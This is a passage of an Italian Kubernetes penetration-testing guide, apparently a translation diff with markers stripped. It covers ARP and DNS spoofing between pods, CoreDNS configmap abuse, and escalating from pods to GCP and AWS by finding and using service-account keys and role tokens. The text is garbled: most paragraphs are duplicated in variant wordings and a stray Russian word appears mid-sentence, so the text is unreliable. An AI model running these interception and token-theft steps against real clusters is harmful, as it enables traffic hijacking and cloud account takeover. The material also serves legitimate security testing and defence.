In Kubernetes, si osserva che un comportamento predefinito consente la creazione di connessioni tra **tutti i container che risiedono sullo stesso nodo**. Questo vale indipendentemente dalle differenze di namespace. Questa connettività si estende fino al **Layer 2** (Ethernet). Di conseguenza, questa configurazione espone potenzialmente il sistema a vulnerabilità. In particolare, apre la possibilità per un **malicious container** di eseguire un **ARP spoofing attack** contro altri container situati sullo stesso nodo. Durante un tale attacco, il malicious container può intercettare o modificare in modo ingannevole il traffico di rete destinato ad altri container.
Gli ARP spoofing attack coinvolgono l**attacker che invia messaggi ARP falsificati** (Address Resolution Protocol) su una local area network. Questo provoca lassociazione del **MAC address dellattacker con lIP address di un computer o server legittimo sulla network**. Dopo lesecuzione riuscita di un tale attack, lattacker può intercettare, modificare o persino interrompere i dati in transito. Lattack viene eseguito sul Layer 2 del modello OSI, ed è per questo che la connettività di default in Kubernetes a questo layer solleva problemi di sicurezza.
Gli ARP spoofing attack coinvolgono l**attacker che invia falsi messaggi ARP** (Address Resolution Protocol) su una rete locale. Questo porta allassociazione tra l**indirizzo MAC dellattacker e lindirizzo IP di un computer o server legittimo nella rete**. Dopo lesecuzione riuscita di un tale attacco, lattacker può intercettare, modificare o persino interrompere i dati in transito. Lattacco viene eseguito sul Layer 2 del modello OSI, ed è per questo che la connettività predefinita in Kubernetes a questo livello solleva problemi di sicurezza.
Nello scenario verranno create 4 macchine:
- ubuntu-pe: Macchina privilegiata per uscire sul node e controllare le metriche (non necessaria per lattack)
- **ubuntu-attack**: **Malicious** container nel default namespace
- **ubuntu-victim**: Macchina **Victim** nel namespace kube-system
- **mysql**: Macchina **Victim** nel default namespace
- ubuntu-pe: Macchina privilegiata per uscire verso il node e controllare le metriche (non necessaria per l'attacco)
- **ubuntu-attack**: Container **malicious** nel namespace predefinito
- **ubuntu-victim**: Macchina **victim** nel namespace kube-system
- **mysql**: Macchina **victim** nel namespace predefinito
```yaml
echo 'apiVersion: v1
kind: Pod
@@ -96,22 +96,38 @@ kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
```
## Networking di base di Kubernetes
## Basic Kubernetes Networking
Se vuoi maggiori dettagli sugli argomenti di networking introdotti qui, vai alle references.
### ARP
In generale, **il networking pod-to-pod all'interno del nodo** è disponibile tramite un **bridge** che collega tutti i pod. Questo bridge si chiama “**cbr0**”. (Alcuni network plugin installeranno il proprio bridge.) Il **cbr0 può anche gestire la risoluzione ARP** (Address Resolution Protocol). Quando un pacchetto in arrivo arriva a cbr0, può risolvere l'indirizzo MAC di destinazione usando ARP.
In generale, il **pod-to-pod networking inside the node** è disponibile tramite un **bridge** che collega tutti i pod. Questo bridge si chiama “**cbr0**”. (Alcuni network plugins installeranno un loro bridge.) Il **cbr0 può anche gestire** la risoluzione ARP (Address Resolution Protocol). Quando un pacchetto in ingresso arriva a cbr0, può risolvere l'indirizzo MAC di destinazione usando ARP.
Questo fatto implica che, per default, **ogni pod in esecuzione nello stesso nodo** potrà **comunicare** con qualsiasi altro pod nello stesso nodo (indipendentemente dal namespace) a livello ethernet (layer 2).
Questo fatto implica che, per default, **ogni pod in esecuzione nello stesso node** sarà in grado di **communicate** con qualsiasi altro pod nello stesso node (indipendentemente dal namespace) a livello ethernet (layer 2).
> [!WARNING]
> Therefore, it's possible to perform A**RP Spoofing attacks between pods in the same node.**
> Therefore, è possibile eseguire attacchi A**RP Spoofing tra pod nello stesso node.**
### NetworkPolicy and admin policy layers
Kubernetes `NetworkPolicy` è un controllo del traffico dei pod a L3/L4, ma viene applicato dal plugin CNI e non dall'API server stesso. Un cluster può memorizzare oggetti NetworkPolicy e allo stesso tempo continuare a permettere il traffico se il CNI attivo non li implementa, quindi verifica sempre con una source controllata consentita e una source di negative-control bloccata.
Non fermarti a `kubectl get networkpolicy -A`. I cluster che usano Cilium, Calico, OVN-Kubernetes, Antrea, o dataplanes del managed-provider possono anche avere API di policy come `CiliumNetworkPolicy`, `CiliumClusterwideNetworkPolicy`, Calico `GlobalNetworkPolicy`, `AdminNetworkPolicy`, o `BaselineAdminNetworkPolicy`. Queste possono aggiungere explicit deny, tier/order, cluster scope, regole L7/DNS, o admin guardrails che la normale semantica additiva di Kubernetes NetworkPolicy non spiega.
Useful first checks:
```bash
kubectl api-resources | grep -Ei 'networkpolicy|adminnetworkpolicy|cilium|calico'
kubectl get networkpolicy -A
kubectl get cnp,ccnp -A 2>/dev/null
kubectl get globalnetworkpolicy -A 2>/dev/null
kubectl get adminnetworkpolicy,baselineadminnetworkpolicy -A 2>/dev/null
```
Per l'analisi del bypass, verifica se il blocco previsto viene evitato tramite un proxy consentito, DNS o egress gateway, un pod `hostNetwork`, un percorso locale del nodo, un selettore di namespace o di label del pod troppo ampio, oppure una policy admin/global con precedenza più alta. Riporta le label del pod sorgente, le label del namespace, il Service o EndpointSlice di destinazione, l'implementazione CNI/policy, la regola di policy che decide e la prova del traffico.
### DNS
Negli ambienti kubernetes di solito troverai 1 (o più) **DNS services in esecuzione** di solito nel namespace kube-system:
Negli ambienti kubernetes troverai di solito 1 (o più) **servizi DNS in esecuzione** di solito nel namespace kube-system:
```bash
kubectl -n kube-system describe services
Name: kube-dns
@@ -136,30 +152,30 @@ Port: metrics 9153/TCP
TargetPort: 9153/TCP
Endpoints: 172.17.0.2:9153
```
Nelle informazioni precedenti puoi vedere qualcosa di interessante: l'**IP del service** è **10.96.0.10** ma l'**IP del pod** che esegue il service è **172.17.0.2.**
Nelle informazioni precedenti puoi vedere qualcosa di interessante: l'**IP del servizio** è **10.96.0.10** ma l'**IP del pod** che esegue il servizio è **172.17.0.2.**
Se controlli l'indirizzo DNS dentro qualsiasi pod troverai qualcosa del genere:
```
cat /etc/resolv.conf
nameserver 10.96.0.10
```
Tuttavia, il pod **non sa** come raggiungere quell'**address** perché il **pod range** in questo caso è 172.17.0.10/26.
Tuttavia, il pod **non sa** come raggiungere quell'**indirizzo** perché il **pod range** in questo caso è 172.17.0.10/26.
Pertanto, il pod invierà le **DNS requests all'address 10.96.0.10** che ver**translated** dal cbr0 **a** **172.17.0.2**.
Quindi, il pod invierà le **richieste DNS all'indirizzo 10.96.0.10** che sa**tradotto** dal cbr0 **in** **172.17.0.2**.
> [!WARNING]
> Questo significa che una **DNS request** di un pod **va sempre** al **bridge** per **translate** il **service IP to the endpoint IP**, anche se il DNS server si trova nella stessa subnetwork del pod.
> Questo significa che una **richiesta DNS** di un pod **andrà sempre** al **bridge** per **tradurre** la **service IP to the endpoint IP**, anche se il server DNS si trova nella stessa sottorete del pod.
>
> Sapendo questo, e sapendo che gli **ARP attacks sono possibili**, un **pod** in un node sarà in grado di **intercept the traffic** tra **each pod** nella **subnetwork** e il **bridge** e **modify** le **DNS responses** dal DNS server (**DNS Spoofing**).
> Sapendo questo, e sapendo che gli **ARP attacks** sono possibili, un **pod** in un node sarà in grado di **intercept** il traffico tra **ogni pod** nella **subnetwork** e il **bridge** e **modify** le **DNS responses** dal server DNS (**DNS Spoofing**).
>
> Inoltre, se il **DNS server** si trova nello **same node as the attacker**, l'attaccante può **intercept all the DNS request** di qualsiasi pod nel cluster (tra il DNS server e il bridge) e modificare le risposte.
> Inoltre, se il **DNS server** si trova nello **stesso node dell'attaccante**, l'attaccante può **intercept all the DNS request** di qualsiasi pod nel cluster (tra il server DNS e il bridge) e modificare le risposte.
> [!NOTE]
> Verifica il CNI attivo e il percorso DNS prima di presumere che questo funzioni in un cluster reale. Alcuni CNI instradano o isolano il traffico same-node in modo diverso, e i cluster che usano NodeLocal DNSCache possono inviare le query DNS dei pod a un address locale sul node prima di inoltrarle a CoreDNS. In questi ambienti, il DNS spoofing dipende dal posizionamento dei pod, dalle capabilities dei packet, dalla configurazione del resolver, dal comportamento della cache node-local e dal fatto che le applications verifichino i peer con TLS o con un altro meccanismo di identity.
> Validate the active CNI and DNS path before assuming this works in a real cluster. Some CNIs route or isolate same-node traffic differently, and clusters using NodeLocal DNSCache may send pod DNS queries to a node-local address before forwarding to CoreDNS. In those environments, DNS spoofing depends on pod placement, packet capabilities, resolver configuration, node-local cache behavior, and whether applications verify peers with TLS or another identity mechanism.
## ARP Spoofing in pods nello stesso Node
## ARP Spoofing in pods in the same Node
Il nostro obiettivo è **rubare almeno la communication dall'ubuntu-victim al mysql**.
Our goal is to **steal at least the communication from the ubuntu-victim to the mysql**.
### Scapy
```bash
@@ -236,11 +252,11 @@ arpspoof -t 172.17.0.9 172.17.0.10
```
## DNS Spoofing
Come già menzionato, se **comprometti un pod nello stesso node del pod del DNS server**, puoi fare **MitM** con **ARPSpoofing** del **bridge** e del pod **DNS** e **modificare tutte le risposte DNS**.
Come già menzionato, se **comprometti un pod nello stesso nodo del pod del DNS server**, puoi fare **MitM** con **ARPSpoofing** del **bridge e del DNS** pod e **modificare tutte le risposte DNS**.
Hai un ottimo **tool** e **tutorial** per testare questo in [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
Hai un ottimo **tool** e un **tutorial** per testarlo in [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
Nel nostro scenario, **scarica** il **tool** nel pod dell'attacker e crea un **file chiamato `hosts`** con i **domains** che vuoi **spoof** come:
Nel nostro scenario, **scarica** il **tool** nel pod dell'attaccante e crea un **file chiamato `hosts`** con i **domini** che vuoi **spoof** come:
```
cat hosts
google.com. 1.1.1.1
@@ -263,16 +279,16 @@ dig google.com
google.com. 1 IN A 1.1.1.1
```
> [!NOTE]
> Se provi a creare il tuo script di DNS spoofing, se **modifichi solo la risposta DNS** **non** funzionerà, perché la **response** avrà un **src IP** dell'IP del **pod** **malevolo** e **non** verrà **accettata**.\
> Devi generare un **nuovo pacchetto DNS** con il **src IP** del **DNS** a cui la vittima invia la richiesta DNS (che è qualcosa come 172.16.0.2, non 10.96.0.10, quello è l'IP del servizio DNS di K8s e non l'IP del server DNS, più su questo nell'introduzione).
> Se provi a creare il tuo script di DNS spoofing, se **modifichi solo la risposta DNS** ciò **non** funzionerà, perché la **response** avrà un **src IP** pari all'indirizzo IP del **pod** **malevolo** e **non** verrà **accettata**.\
> Devi generare un **nuovo DNS packet** con il **src IP** del **DNS** a cui la vittima invia la DNS request (che è qualcosa come 172.16.0.2, non 10.96.0.10, quello è l'IP del servizio DNS di K8s e non l'IP del DNS server, più su questo nell'introduzione).
## DNS Spoofing via coreDNS configmap
Un user con permessi di scrittura sulla configmap `coredns` nel namespace kube-system può modificare le risposte DNS del cluster.
Un user con permessi di scrittura sulla configmap `coredns` nel namespace kube-system può modificare le DNS responses del cluster.
Inoltre, controlla NodeLocal DNSCache se è deployato. Di solito gira come un DaemonSet hostNetwork e ha una propria ConfigMap, logs, cache e forwarding path. Un cambio in CoreDNS potrebbe non essere l'unico punto in cui il comportamento DNS può essere influenzato o osservato.
Controlla anche NodeLocal DNSCache se è deployato. Di solito gira come un hostNetwork DaemonSet e ha una propria ConfigMap, log, cache e forwarding path. Una modifica di CoreDNS potrebbe non essere l'unico punto in cui il comportamento DNS può essere influenzato o osservato.
Controlla maggiori informazioni su questo attack in:
Trova maggiori informazioni su questo attack in:
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/README.md
@@ -280,7 +296,7 @@ abusing-roles-clusterroles-in-kubernetes/README.md
## Abusing exposed kubernetes management services
Services come Apache NiFi, Kubeflow, Argo Workflows, Weave Scope e il Kubernetes dashboard sono spesso esposti sia su internet sia all'interno della kubernetes network. Un attacker che riesca a **trovare qualsiasi platform usata per gestire kubernetes e ad accedervi** può abusarne per ottenere accesso alla kubernetes API ed eseguire azioni come creare nuovi pod, modificare quelli esistenti o persino eliminarli.
Servizi come Apache NiFi, Kubeflow, Argo Workflows, Weave Scope e il Kubernetes dashboard sono spesso esposti sia su internet sia all'interno della kubernetes network. Un attacker che riesca a **trovare qualsiasi platform usata per gestire kubernetes e ad accedervi** può abusarne per ottenere accesso alla Kubernetes API ed eseguire azioni come creare nuovi pod, modificare quelli esistenti o persino eliminarli.
## Enumerating kubernetes network policies
@@ -296,14 +312,14 @@ Ottieni le network policies di **Cillium**:
```bash
kubectl get ciliumnetworkpolicy --all-namespaces
```
Ottieni altri CRD relativi alle policy installati dal tuo network plugin o soluzione di sicurezza:
Ottieni altri CRD relativi alle policy installati dal tuo network plugin o dalla tua security solution:
```bash
kubectl get crd | grep -i policy
```
## Capturing Traffic
Lo strumento [**Mizu**](https://github.com/up9inc/mizu) è un semplice ma potente API **traffic viewer for Kubernetes** che ti permette di **vedere tutta la comunicazione API** tra microservices per aiutarti a debuggare e risolvere regressions.\
Installerà agents nei pod selezionati e raccoglierà le loro informazioni di traffic e te le mostrerà in un web server. Tuttavia, per questo ti serviranno high K8s permissions (e non è molto stealthy).
Lo strumento [**Mizu**](https://github.com/up9inc/mizu) è un semplice ma potente visualizzatore di **traffico API per Kubernetes** che ti consente di **vedere tutta la comunicazione API** tra microservices per aiutarti a fare debug e a risolvere regressions.\
Installerà agent nei pod selezionati e raccoglierà le loro informazioni di traffico, mostrandotele in un web server. Tuttavia, per questo ti serviranno alti permessi K8s (ed è anche poco stealthy).
## References
@@ -4,11 +4,11 @@
## GCP
Se stai eseguendo un cluster k8s dentro GCP, probabilmente vorrai che qualche application in esecuzione nel cluster abbia accesso a GCP. Ci sono 2 modi comuni per farlo:
Se stai eseguendo un cluster k8s dentro GCP, probabilmente vorrai che qualche applicazione in esecuzione nel cluster abbia accesso a GCP. Ci sono 2 modi comuni per farlo:
### Mounting GCP-SA keys as secret
Un modo comune per dare **accesso a una kubernetes application a GCP** è:
Un modo comune per dare **accesso a una applicazione kubernetes a GCP** è:
- Create a GCP Service Account
- Bind on it the desired permissions
@@ -17,34 +17,34 @@ Un modo comune per dare **accesso a una kubernetes application a GCP** è:
- Set the GOOGLE_APPLICATION_CREDENTIALS environment variable pointing to the path where the json is.
> [!WARNING]
> Therefore, as an **attacker**, if you compromise a container inside a pod, you should check for that **env** **variable** and **json** **files** with GCP credentials.
> Quindi, come **attacker**, se comprometti un container dentro un pod, dovresti controllare quella **env** **variable** e i **json** **files** con credenziali GCP.
### Relating GSA json to KSA secret
Un modo per dare accesso a una GSA a un GKE cluser è bindarli in questo modo:
Un modo per dare accesso a una GSA a un cluster GKE è bindarli in questo modo:
- Create a Kubernetes service account in the same namespace as your GKE cluster using the following command:
```bash
kubectl create serviceaccount <service-account-name>
```
- Crea un Kubernetes Secret che contenga le credenziali dell'account di servizio GCP a cui vuoi concedere accesso al cluster GKE. Puoi farlo usando il tool da riga di comando `gcloud`, come mostrato nel seguente esempio:
- Crea un Kubernetes Secret che contenga le credenziali dell'account di servizio GCP a cui vuoi concedere accesso al cluster GKE. Puoi farlo usando lo strumento da riga di comando `gcloud`, come mostrato nel seguente esempio:
```bash
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
```
- Associa il Kubernetes Secret al service account di Kubernetes usando il seguente comando:
- Associa il Kubernetes Secret al Kubernetes service account usando il seguente comando:
```bash
kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>
```
> [!WARNING]
> Nel **secondo passo** sono state impostate le **credentials della GSA come secret della KSA**. Quindi, se puoi **leggere quel secret** dall'**interno** del cluster **GKE**, puoi **escalare a quel GCP service account**.
> Nel **secondo passo** sono state impostate le **credentials della GSA come secret della KSA**. Quindi, se puoi **leggere quel secret** da **dentro** il cluster **GKE**, puoi **escalate a quel GCP service account**.
### GKE Workload Identity
Con Workload Identity, possiamo configurare un[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) per agire come un[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). I Pods in esecuzione con il Kubernetes service account si autenticheranno automaticamente come il Google service account quando accedono alle Google Cloud APIs.
Con Workload Identity, possiamo configurare una[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) per agire come una[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). I Pod in esecuzione con la Kubernetes service account si autenticheranno automaticamente come la Google service account quando accedono alle Google Cloud APIs.
La **prima serie di passi** per abilitare questo comportamento è **abilitare Workload Identity in GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) e creare la GCP SA che vuoi che k8s impersoni.
@@ -59,7 +59,7 @@ gcloud container clusters update <cluster_name> \
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
```
- Crea il **GCP Service Account da impersonare** da K8s con permessi GCP:
- Crea il **GCP Service Account to impersonate** da K8s con permessi GCP:
```bash
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>
@@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
```
- **Connetti** al **cluster** e **crea** il **service account** da usare
- **Connettersi** al **cluster** e **creare** l'**account di servizio** da usare
```bash
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1
@@ -80,7 +80,7 @@ kubectl create namespace testing
# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
```
- **Bind il GSA con il KSA**
- **Associa il GSA con il KSA**
```bash
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
@@ -92,7 +92,7 @@ kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
```
- Esegui un **pod** con il **KSA** e controlla l'**access** a **GSA:**
- Esegui un **pod** con il **KSA** e controlla l**accesso** a **GSA:**
```bash
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
@@ -118,15 +118,15 @@ kubectl exec -it workload-identity-test \
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
```
Controlla il seguente comando per autenticarti, se necessario:
Controlla il seguente comando per autenticarti se necessario:
```bash
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
```
> [!WARNING]
> As an attacker inside K8s you should **cercare SAs** con l'**annotazione `iam.gke.io/gcp-service-account`** poiché indica che la SA può accedere a qualcosa in GCP. Un'altra opzione sarebbe provare ad abusare di ogni KSA nel cluster e verificare se ha accesso.\
> Da GCP è sempre interessante enumerare i binding e sapere **quale accesso stai dando alle SAs all'interno di Kubernetes**.
> As an attacker inside K8s you should **search for SAs** with the **`iam.gke.io/gcp-service-account` annotation** as that indicates that the SA can access something in GCP. Another option would be to try to abuse each KSA in the cluster and check if it has access.\
> Da GCP è sempre interessante enumerare i bindings e sapere **quali accessi stai dando alle SAs dentro Kubernetes**.
Questo è uno script per **iterare facilmente su tutte le definizioni dei pod** **cercando** quell'**annotazione**:
Questo è uno script per **iterare facilmente su tutte le definizioni dei pod** **cercando** quella **annotation**:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
@@ -141,9 +141,9 @@ done | grep -B 1 "gcp-service-account"
### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
Un modo (obsoleto) per dare IAM Roles ai Pods è usare un [**Kiam**](https://github.com/uswitch/kiam) o un [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** In pratica dovrai eseguire un **daemonset** nel tuo cluster con un **tipo di privilegiato IAM role**. Questo daemonset sarà quello che darà accesso ai IAM roles ai pods che ne hanno bisogno.
Un modo (obsoleto) per assegnare IAM Roles ai Pods è usare un [**Kiam**](https://github.com/uswitch/kiam) o un [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** In pratica dovrai eseguire un **daemonset** nel tuo cluster con un **IAM role** di tipo privilegiato. Questo daemonset sarà quello che concederà accesso agli IAM roles ai pods che ne hanno bisogno.
Per prima cosa devi configurare **quali roles possono essere acceduti all'interno del namespace**, e lo fai con un annotation dentro l'oggetto namespace:
Prima di tutto devi configurare **quali roles possono essere acceduti all'interno del namespace**, e lo fai con un annotation dentro l'oggetto namespace:
```yaml:Kiam
kind: Namespace
metadata:
@@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
```
Una volta configurato il namespace con i ruoli IAM che i Pod possono avere, puoi **indicare il ruolo che vuoi in ogni definizione del pod con qualcosa come**:
Una volta configurato il namespace con i ruoli IAM che i Pod possono avere, puoi **indicare il ruolo che desideri in ogni definizione di pod con qualcosa del tipo**:
```yaml:Kiam & Kube2iam
kind: Pod
metadata:
@@ -171,12 +171,12 @@ annotations:
iam.amazonaws.com/role: reportingdb-reader
```
> [!WARNING]
> Come attacker, se **trovi queste annotation** in pod o namespace o un server kiam/kube2iam in esecuzione (probabilmente in kube-system) puoi **impersonare ogni r**olo che è già **usato dai pod** e altro (se hai accesso all'account AWS enumera i ruoli).
> Come attaccante, se **trovi queste annotazioni** in pod o namespace o un server kiam/kube2iam in esecuzione (probabilmente in kube-system) puoi **impersonare ogni r**uolo che è già **usato dai pod** e altro (se hai accesso all'account AWS enumera i ruoli).
#### Create Pod with IAM Role
#### Crea Pod con IAM Role
> [!NOTE]
> Il ruolo IAM da indicare deve essere nello stesso account AWS del ruolo kiam/kube2iam e quel ruolo deve poter accedervi.
> L'IAM role da indicare deve trovarsi nello stesso account AWS del ruolo kiam/kube2iam e quel ruolo deve poter accedervi.
```yaml
echo 'apiVersion: v1
kind: Pod
@@ -192,14 +192,14 @@ image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -
```
### IAM Role for K8s Service Accounts via OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
### IAM Role per K8s Service Accounts via OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
Questo è il **modo raccomandato da AWS**.
1. Per prima cosa devi [creare un provider OIDC per il cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
2. Poi crei un IAM role con i permessi di cui la SA avrà bisogno.
3. Crea una [trust relationship tra il IAM role e il nome della SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) (o i namespaces che danno accesso al role a tutte le SA del namespace). _La trust relationship controllerà principalmente il nome del provider OIDC, il nome del namespace e il nome della SA_.
4. Infine, **crea una SA con un annotation che indica l'ARN del role**, e i pods che girano con quella SA avranno **accesso al token del role**. Il **token** viene **scritto** dentro un file e il path è specificato in **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
1. Per prima cosa devi [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
2. Poi crei un IAM role con i permissions di cui la SA avrà bisogno.
3. Create a [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) name (or the namespaces giving access to the role to all the SAs of the namespace). _La trust relationship controllerà principalmente il nome del provider OIDC, il nome del namespace e il nome della SA_.
4. Infine, **create a SA with an annotation indicating the ARN of the role**, e i pod in esecuzione con quella SA avranno **access to the token of the role**. Il **token** viene **written** in un file e il path è specificato in **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
```bash
# Create a service account with a role
cat >my-service-account.yaml <<EOF
@@ -221,22 +221,65 @@ Per **ottenere aws usando il token** da `/var/run/secrets/eks.amazonaws.com/serv
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
```
> [!WARNING]
> Come attacker, se riesci a enumerare un cluster K8s, controlla gli **service accounts con quella annotation** per **escalare ad AWS**. Per farlo, basta **exec/create** un **pod** usando uno dei IAM **privileged service accounts** e rubare il token.
> Come attacker, se puoi enumerare un cluster K8s, controlla i **service accounts con quell'annotation** per **escalate to AWS**. Per farlo, basta **exec/create** un **pod** usando uno dei **privileged service accounts** IAM e rubare il token.
>
> Inoltre, se sei dentro un pod, controlla variabili di env come **AWS_ROLE_ARN** e **AWS_WEB_IDENTITY_TOKEN.**
> Inoltre, se sei dentro un pod, controlla variabili di ambiente come **AWS_ROLE_ARN** e **AWS_WEB_IDENTITY_TOKEN.**
> [!CAUTION]
> A volte la **Turst Policy di un role** può essere **configurata male** e invece di dare accesso AssumeRole al service account previsto, lo dà a **tutti gli service accounts**. Quindi, se sei in grado di scrivere una annotation su un controlled service account, puoi accedere al role.
> A volte la **Turst Policy di un role** può essere **configurata male** e, invece di dare accesso AssumeRole al service account previsto, lo dà a **tutti i service accounts**. Quindi, se sei in grado di scrivere un'annotation su un service account controllato, puoi accedere al role.
>
> Controlla la **pagina seguente per maggiori informazioni**:
> Controlla la **seguente pagina per maggiori informazioni**:
{{#ref}}
../aws-security/aws-basic-information/aws-federation-abuse.md
{{#endref}}
### Trova Pods e SAs con IAM Roles nel Cluster
### EKS Pod Identity
Questo è uno script per **iterare facilmente su tutti i pods e le definizioni di sas** **cercando** quella **annotation**:
EKS Pod Identity è il nuovo metodo gestito da AWS per associare un IAM role a un Kubernetes service account senza fare affidamento su ogni workload per chiamare STS con un IRSA web identity token. Il cluster esegue l'EKS Pod Identity Agent sui nodi, l'EKS API memorizza le pod identity associations, e gli AWS SDKs nei pod selezionati ottengono credenziali tramite il container credentials provider path esposto dall'agent.
Da Kubernetes, l'evidenza interessante è ancora la relazione tra service account e pod, ma i segnali runtime sono diversi da IRSA. Cerca le variabili di ambiente delle credenziali container AWS nei pod invece di `AWS_WEB_IDENTITY_TOKEN_FILE` soltanto:
```bash
kubectl get pods -A -o yaml | grep -nE 'AWS_CONTAINER_CREDENTIALS|AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE|AWS_ROLE_ARN|AWS_WEB_IDENTITY_TOKEN_FILE'
kubectl get serviceaccounts -A -o yaml | grep -nE 'eks.amazonaws.com|role-arn'
kubectl get ds -A | grep -i 'pod.identity\|eks-pod-identity'
```
Da AWS, enumera le associazioni e poi mappale обратно a Kubernetes namespaces e service accounts:
```bash
aws eks list-pod-identity-associations --cluster-name <cluster>
aws eks describe-pod-identity-association \
--cluster-name <cluster> \
--association-id <association-id>
```
All'interno di un pod associato, i principali indicatori di runtime sono le variabili del provider di credenziali del container iniettate da EKS:
```bash
env | grep -E '^AWS_CONTAINER_(CREDENTIALS_FULL_URI|AUTHORIZATION_TOKEN_FILE)='
ls -l /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/ 2>/dev/null
aws sts get-caller-identity
```
L'endpoint locale delle credenziali è di solito `http://169.254.170.23/v1/credentials` e il token di autorizzazione è un projected service account token per l'audience `pods.eks.amazonaws.com`. Ricorda che vale ancora l'ordine dei credential-provider di AWS SDK: se credenziali statiche di ambiente o file di credenziali condivisi sono configurati prima nella chain, il pod potrebbe usare quelli invece della Pod Identity association.
Le Pod Identity roles di solito si fidano del service principal `pods.eks.amazonaws.com` per `sts:AssumeRole` e `sts:TagSession`. Esamina le condizioni della trust-policy su request tags come `kubernetes-namespace`, `kubernetes-service-account` e i tag del cluster, perché condizioni troppo ampie possono rendere una reusable role disponibile a troppe service account. Pod Identity aggiunge anche session tags alle temporary credentials, e quei tag possono guidare policy ABAC come l'accesso alle risorse basato su `${aws:PrincipalTag/kubernetes-namespace}` o `${aws:PrincipalTag/kubernetes-service-account}`.
Per l'accesso cross-account, una Pod Identity association può usare un same-account role che fa chain verso un target role in un altro account. In quel caso, rivedi entrambi i livelli: la EKS association role e la trust/policy del target role. I Pod Identity session tags sono transitive attraverso la role chain, quindi sono evidenze utili per dimostrare quale cluster namespace e service account ha acceduto all'account remoto.
> [!WARNING]
> Se puoi creare o modificare pod che usano una service account con una EKS Pod Identity association, testa se quel pod riceve permessi AWS utili. Se stai difendendo, genera alert su nuove pod identity associations, uso inaspettato di service account e chiamate AWS API da roles che dovrebbero essere usati solo da workload specifici.
### EKS governance guardrails
Quando esamini EKS dal lato AWS, ricorda che IAM e i guardrail di AWS Organizations possono negare una configurazione del cluster non sicura anche quando un principal ha permessi EKS apparentemente ampi. I recenti EKS condition keys coprono impostazioni del cluster come accesso all'endpoint pubblico o privato, Kubernetes version, secrets-encryption KMS keys, deletion protection, control-plane scaling tier e configurazione di zonal shift. Questi key possono essere usati nelle policy IAM o nelle Service Control Policies per imporre baseline del cluster a livello di account.
Questo conta sia per l'impatto di un attacco sia per il triage. Se un principal può chiamare `eks:UpdateClusterConfig` ma un SCP nega l'abilitazione di un endpoint pubblico tramite `eks:endpointPublicAccess`, segnala l'azione rischiosa tentata e il guardrail che l'ha bloccata invece di affermare che c'è esposizione dell'API pubblica. Per i defender, genera alert sia sui denied EKS configuration changes sia sui cambiamenti riusciti, perché i tentativi negati possono rivelare automation compromessa, admin roles obsoleti o reconnaissance prima di un pivot verso un account meno protetto.
Riferimenti utili:
- [Amazon EKS IAM condition keys](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonelastickubernetesservice.html)
